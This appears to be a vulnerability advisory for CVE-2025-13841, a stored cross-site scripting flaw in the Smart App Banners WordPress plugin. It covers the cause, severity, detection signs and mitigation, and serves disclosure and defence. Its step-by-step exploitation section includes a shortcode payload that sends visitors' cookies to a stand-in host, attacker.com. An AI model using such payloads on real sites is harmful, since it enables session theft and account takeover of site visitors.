CVE-2025-13841: 
WordPress vulnerability analysis and mitigation

CVE-2025-13841 is a Stored Cross-Site Scripting (XSS) vulnerability in the Smart App Banners plugin for WordPress. It affects all versions up to and including 1.2, where insufficient input sanitization and output escaping on the size and verticalalign parameters of the app-store-download shortcode allow authenticated attackers to inject arbitrary web scripts. The vulnerability was published on January 7, 2026, and was reported by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically due to missing sanitization and output escaping on user-supplied shortcode attributes. An authenticated attacker with at least Contributor-level access can craft a malicious [app-store-download] shortcode with JavaScript payloads embedded in the size or verticalalign parameters. When a page containing the injected shortcode is rendered, the malicious script executes in the browsers of any visiting users. The vulnerable code is visible in the plugin's source at line 321 of index.php (Wordfence, Plugin Source).

Successful exploitation allows an authenticated contributor to persistently inject malicious JavaScript into WordPress pages, which executes in the context of any user who visits the affected page. This can lead to session cookie theft, credential harvesting, redirection to malicious sites, or defacement. The scope is changed (S:C in CVSS), meaning the impact extends beyond the attacker's own session to affect other users' browsers, though availability of the server itself is not impacted (Wordfence).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.029%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum Contributor-level authentication on the target WordPress site, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Reconnaissance: Identify WordPress sites running the Smart App Banners plugin version 1.2 or earlier. This can be done by checking the plugin's readme or version file at /wp-content/plugins/smart-app-banners/readme.txt.
2. Obtain Contributor Access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
3. Create or Edit a Post: Navigate to the WordPress editor and create or edit a post or page where shortcodes are rendered.
4. Inject Malicious Shortcode: Insert a crafted shortcode with a JavaScript payload in the size or verticalalign parameter, for example: [app-store-download size="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>" ...].
5. Publish the Content: Publish or update the post. The injected script is now stored in the database.
6. Trigger Execution: When any user (including administrators) visits the page containing the injected shortcode, the malicious script executes in their browser, potentially stealing session cookies or performing other actions (Wordfence, Plugin Source).

• Logs: WordPress access logs showing authenticated POST requests to wp-admin/post.php or the REST API containing app-store-download shortcode content with suspicious characters (e.g., <script>, javascript:, encoded payloads) in size or verticalalign parameters.
• Database: Unexpected <script> tags or JavaScript event handlers stored in the wp_posts table within shortcode content for posts authored by contributor-level accounts.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages containing the [app-store-download] shortcode, potentially indicating cookie exfiltration or redirects.
• File System: No file-system artifacts expected for this stored XSS; focus monitoring on database content and server-side logs.

As of the disclosure date, no patched version of the Smart App Banners plugin beyond 1.2 was confirmed available. Site administrators should immediately deactivate and remove the plugin until a patched version is released. As a workaround, restrict Contributor-level user registrations or disable shortcode rendering for untrusted users. Monitor the WordPress plugin repository for an updated version that properly sanitizes the size and verticalalign shortcode parameters (Wordfence).